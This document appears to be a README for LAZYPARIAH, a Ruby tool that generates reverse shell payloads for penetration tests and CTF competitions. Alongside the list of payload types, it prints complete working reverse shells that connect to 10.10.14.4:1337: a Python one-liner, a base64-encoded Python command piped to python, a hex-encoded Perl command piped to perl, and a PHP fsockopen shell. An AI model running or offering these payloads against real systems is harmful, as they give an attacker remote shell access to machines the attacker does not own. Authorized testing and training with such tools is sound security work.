LAZYPARIAH – Low-Dependency CLI Tool for Generating Reverse Shell Payloads

LAZYPARIAH

LAZYPARIAH is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly.

The reverse shell payloads that LAZYPARIAH supports include (but are not limited to):

  • C binary payloads (compiled on the fly): c_binary, c_binary_b64, c_binary_gzip, c_binary_gzip_b64, c_binary_hex, c_binary_gzip_hex
  • Ruby payloads: ruby, ruby_b64, ruby_hex, ruby_c
  • Base64-encoded Python payloads: python_b64
  • Rust binary payloads (compiled on the fly): rust_binary, rust_binary_b64, rust_binary_gzip, rust_binary_gzip_b64, rust_binary_gzip_hex, rust_binary_hex
  • PHP scripts containing base64-encoded Python payloads called via the system() function: php_system_python_b64
  • Java classes (compiled on the fly): java_class_binary, java_class_b64, java_class_gzip_b64
  • Simple PHP payloads (targeting specific file descriptors): php_fd, php_fd_c, php_fd_tags

Further Notes and Examples

The payloads listed above are more-or-less systematically named.

Payloads ending with _c are intended to be executed from within a shell session. These payloads execute code directly using the relevant interpreter (e.g. python3 -c or ruby -e).

For example, the command lazypariah python_c 10.10.14.4 1337 should produce the following output:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

The command lazypariah python 10.10.14.4 1337, on the other hand, should simply produce a block of Python code which could potentially be placed in a .py file:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Generally speaking, selecting payloads ending with _b64 should produce a command intended to be run from within a shell session in a similar manner to payloads ending with _c, but the commands will be different in structure. These commands will essentially pipe a base64-encoded block of code through to base64 -d and then on through to the relevant interpreter (such as python3, python2 or ruby).

For example, the command lazypariah python_b64 10.10.14.4 1337 should produce the following output:

echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python

These types of payloads can be useful in certain situations because they do not include any single or double quotes.

In a similar manner, selecting payloads ending with _hex will produce a command that pipes a hexadecimal-encoded block of code through to xxd -p -r - and then on through to the relevant interpreter. For example, lazypariah perl_hex 10.10.14.4 1337 should produce the following output:

echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl

The exception to this is compiled payloads, such as c_binary_b64, java_class_gzip_b64 and rust_binary_hex. Since C, Java and Rust are not interpreted languages, selecting these payloads will simply output the base64-encoded or hexadecimal-encoded data (depending on the payload). If one selects e.g. java_class_gzip_b64, the resulting payload should be a base64-encoded gzip-compressed Java class file containing a reverse shell payload. Such payloads may be useful for exploiting insecure deserialisation in a Java web application. For example, the command lazypariah java_class_gzip_b64 10.10.14.4 1337 should produce the following payload:

Some payloads require the user to specify the file descriptor used by the target for TCP connections. One example of such a payload is php_fd_tags, which is a simple PHP payload enclosed within PHP tags (<?php and ?>) that targets a specific file descriptor.

To specify a target file descriptor, the user must use the command line argument -D INTEGER or --fd INTEGER. For example, to generate a php_fd_tags payload that targets file descriptor 5, the following command can be used: lazypariah -D 5 php_fd_tags 10.10.14.4 1337

The resulting payload should be as follows: <?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&5 >&5 2>&5");?>
